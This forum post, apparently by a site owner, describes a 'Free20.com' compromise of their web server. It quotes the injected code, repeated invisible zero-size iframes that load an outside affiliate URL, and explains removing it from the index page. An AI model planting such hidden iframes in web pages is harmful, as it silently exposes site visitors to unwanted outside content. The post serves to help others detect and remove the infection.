Hello,
I have a website that was hacked with the "Free20.com". Now, I know that a lot of people have been saying it is on your pc, not a Server. I just wanted to help you all and anyone else that might need to read this. It CAN be, and was on my Server.
The person(s) used a code that made it invisible. I had to download all of the index HTML, sort through it, then I found it:

[color:"red"] width=0 height=0 frameborder=0
src='http://www.free20.com/portal/index.php?aff=ricardo' marginwidth=0
marginheight=0 vspace=0 hspace=0 allowtransparency=true
scrolling=no></iframe></html> <html><iframe width=0 height=0 frameborder=0
src='http://www.free20.com/portal/index.php?aff=ricardo' marginwidth=0
marginheight=0 vspace=0 hspace=0 allowtransparency=true
scrolling=no></iframe></html> <html><iframe width=0 height=0
frameborder=0 src='http://www.free20.com/portal/index.php?aff=ricardo'
marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true
scrolling=no></iframe></html> <html><iframe width=0 height=0
frameborder=0 src='http://www.free20.com/portal/index.php?aff=ricardo'
marginwidth=0 marginheight=0 vspace=0 hspace=0 allowtransparency=true
scrolling=no></iframe></html>
DeleteReplyForwardMove... [/color]

I hope this helps.
All I needed to do was delete the index on the Server, delete this code, and upload the Index again.
Any Questions, you can email me at:
CoolFrayers@Yahoo.com